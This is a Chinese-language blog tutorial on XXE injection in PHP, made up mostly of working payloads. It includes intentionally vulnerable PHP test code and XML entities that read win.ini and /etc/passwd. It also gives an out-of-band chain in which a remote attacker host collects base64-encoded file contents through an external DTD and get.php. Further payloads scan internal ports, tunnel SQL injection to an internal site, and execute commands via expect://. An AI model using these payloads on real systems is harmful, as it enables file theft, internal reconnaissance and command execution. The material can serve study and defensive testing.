0%

XXE漏洞总结

XXE危害说明

XXE就是XML外部实体注入。

由于服务端未对提交的xml的数据中引入外部实体做必要的处理,而在外部实体中引入php伪协议从而造成的攻击。

当允许引用外部实体时,通过构造恶意内容,可导致

  • 读取任意文件
  • 探测内网端口
  • 攻击内网网站
  • 执行系统命令

漏洞环境说明

PHP环境低于5.5使用此代码测试

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

# 不需要回显时 注释print($xml);
print($xml);
?>

PHP环境大于等于5.5使用此代码测试

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);

# 不需要回显时 注释print($xml);
print($xml);
?>

漏洞利用

注意点: 利用xxe读取的数据返回不能有html元素不然会报错

读取文件

有回显

利用各种协议可以读取文件,比如file://php://filter

windwos读取文件

使用file://协议:

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<value>&xxe;</value>

tp2020111901.png
使用php://filter协议:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini">]>
<root>&file;</root>

tp2020111902.png

linux读取文件

使用file://协议:

1
2
3
4
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<value>&xxe;</value>

使用php://filter协议:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<root>&file;</root>

无回显

无回显的的话则需要将文件读取的内容发送到我们的远程服务器上。

模拟场景:

服务器 域名 说明
攻击机 http://test.hzktester.top/XXE/ 远程服务器
受害机 http://192.168.3.13/XXE/ 本地搭建
  1. 在攻击机建立php文件接收数据

    1
    2
    3
    4
    // 文件名称:get.php
    <?php
    file_put_contents('xxe_data.txt', $_GET['xxe_local']);
    ?>
  2. 在攻击机建立xml文件给用于给受害机引入 

    1
    2
    3
    // 文件名称:1.xml
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://test.hzktester.top/XXE/get.php?xxe_local=%data;'>">
  3. 在受害机上执行payload

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://test.hzktester.top/XXE/1.xml">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>

    tp2020111903.png

  4. 执行完以后会把数据base64回传给get.php  。get.php会创建一个xxe_data.txt文件并且写入数据

image.png

探测内网

修改http://127.0.0.1:80 为任意地址端口

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

运行以后
如果访问的端口是打开的,那么他返回就会很快
如果返回很慢,就说明端口没开
image.png
这里页面显示报错了,使用返回的数据是html

攻击内网网站

例如:http://127.0.0.1/sqli-labs/Less-1/?id=1现在有sql注入
为了解决返回有html会爆错的问题,我们可以把数据base64发送到我们服务器进行查看

服务器 域名 说明
攻击机 http://test.hzktester.top/XXE/ 远程服务器
受害机 http://127.0.0.1/sqli-labs/Less-1/?id=1 本地搭建
  1. 在攻击机建立php文件接收数据 

    1
    2
    3
    4
    // 文件名称:get.php
    <?php
    file_put_contents('xxe_data.txt', $_GET['xxe_local']);
    ?>
  2. 在攻击机建立xml文件用于给受害机引入

    1
    2
    3
    // 文件名称:2.xml
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:80/sqli-labs/Less-1/?id=1">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://test.hzktester.top/XXE/get.php?xxe_local=%data;'>">

    http://127.0.0.1:80/sqli-labs/Less-1/?id=1进行普通注入即可
    例如:
    http://127.0.0.1:80/sqli-labs/Less-1/?id=1 and ‘1’=’1
    http://127.0.0.1:80/sqli-labs/Less-1/?id=1 and ‘1’=’2

  3. 受害机运行payload

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://test.hzktester.top/XXE/2.xml">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>

    tp2020111906.png

  4. 执行完以后会把数据base64回传给get.php  。get.php会创建一个xxe_data.txt文件并且写入数据

image.png
image.png
解密返回的就是页面数据 然后不断修改2.xml进行注入即可

执行系统命令

需要系统安装了PECL上的Expect拓展

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<root>
<name>&xxe;</name>
</root>

感谢师傅的笔记:

都是抄他的!
https://www.yuque.com/pmiaowu/web_security_1/vgbyxt